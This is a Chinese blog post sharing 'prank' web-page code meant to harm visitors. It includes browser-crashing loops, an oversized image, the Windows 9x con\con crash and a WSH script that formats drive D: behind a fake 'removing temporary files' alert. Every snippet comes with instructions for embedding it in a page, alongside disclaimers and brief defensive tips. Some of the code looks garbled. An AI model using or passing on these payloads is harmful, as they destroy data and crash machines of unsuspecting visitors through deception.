幾種超厲害的死循環代碼


想必大家在編程的過程中,時不時的體驗過死循環。有些是自己不小心寫的,然后導致整個程序也不小心的崩潰;有些是自己特意寫的,以便能達到我們制作惡作劇的效果。下面IT博客分享幾種實用簡單的死循環代碼,不過大家要切記不可非法使用,同樣玩笑不可開過頭哦。

(一)、死循環代碼

  
<img src=javascript:location=“網頁的文件名.htm:”>
 

說明:當含有這段代碼的網頁被人點擊,連接就會不斷的打開IE瀏覽器,直到你的系統資源浪費到0%~只有重新啟動才能正常使用!

使用:把上述代碼加入到網頁文件中(可新建記事本然后修改后綴),就可達到說明中的效果。

預防方法:禁用所有的ActiveX控件和插件!因為這是一個ActiveX教本程序~

(二)、恐怖的大圖片


<img src= "http://恐怖圖片的連接地址" width= "1" height= "100000000000000000000000">

說明:當打開這樣的網頁,IE會不斷的解釋試圖打開,但由於圖片實在太大,超出了其處理能力,所以……

使用:把上述代碼加入到網頁文件中(可新建記事本然后修改后綴),就可達到說明中的效果。

(三)、地震死機代碼


<script>
  if (window.top.moveBy){
for (i = 1;i < 50; i++){
for (j = 3;j > 0; j--){
window.top.moveBy(0,i);
window.top.moveBy(i,0);
window.top.moveBy(0,-i*2);
window.top.moveBy(-i*2,0);
window.top.moveBy(0,i);
window.top.moveBy(i,0);
   }
  }
}
</script>
<img src="c:\con\con">

說明:<img src="c:\con\con">是windows9x的設備名稱解析漏洞!

WINDOWS9x的\con\con設備名稱解析漏洞允許用戶進行攻擊,倒是98死機。原理:我們知道,CON是DOS下的特殊設備名,不允許做文件名,如果我們在DOS下鍵入如下命令:copy coldcrysky.txt con,系統會顯示coldcrysky.txt的內容,如果換成:copy coldcrysky.txt>con系統會提示文件不能拷貝到文件自身。如果吧con換成LPT或PRN,則輸出coldcrysky.txt到打印機。由此可見,CON代表文件本身,如果使用\CON\CON命令,則意味着系統不斷調用文件本身,視系統資源迅速枯竭,連按CTRL+ALT+DEL的機會都沒有~

使用:把上述代碼加入到網頁文件中(可新建記事本然后修改后綴),就可達到說明中的效果。

解決辦法:對於9X系統,強烈建議打補丁!!!2000和XP則不會死機~

(四)、格式化硬盤 (最恐怖的~~~慎用!!!請勿用於非法用途!!!使用后如果有任何負作用,后果自負!與IT博客無關!!!)


scr,Reset();
scr.Path="C:\\WINDOWS\\StartMenu\\Programs\\啟動\\startup.htm";
scr.Doc="<object id=`wsh` classid=`clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B`>"
WSH.rUN(`start/m format.com d:/q/autotest/u`);
alert(`IMPORTANT : Windows is removing unused temporary files.`);
scr.write();

說明:當您瀏覽了網頁,會把startup.hta文件寫入啟動文件夾,並提示WINDOWS正在刪除臨時文件!實際上是在格式化你的D盤,代碼中的:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B對應為:Windows Scripting Host Shell Object。代碼中的:WSH全稱是:Windows Scripting Host,是微軟的一種基於32位系統平台與語言無關的教本解釋機制,它使得腳本能在WINDOWS桌面或命令提示符下運行~WSH所對應的程序WScript.exe是一個腳本語言解釋器,位於WINDOWS所在文件夾下,所以它可以像執行批處理文件一樣執行WSH腳本程序。

使用:把上述代碼加入到網頁文件中(可新建記事本然后修改后綴),就可達到說明中的效果。

解決方法:1)更新您的瀏覽器,使用最新的瀏覽器上網!

2)修改msdos.sys,在其中加入:Bootmentu=0命令行,目的是禁用啟動菜單。

3)吧format.com改名

4)禁用WSH。具體方法:在win98中,從添加刪除程序中點擊WINDOWS安裝程序,打開附件一項,將WINDOWS SCRIPTING HOST前面的選項去掉,就可以卸載掉WSH了~~~win2000和xp的用戶可以在我的電腦-工具菜單-文件夾選項-選擇文件類型,找到VBS VBSCRIPT FILE選項,點擊刪除!

以上就是今天分享的幾種超厲害的死循環代碼,具體的效果大家可以自己測試下,只要你不怕。哈哈。要懂得,作為程序員要有敢於挑戰的精神哦。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM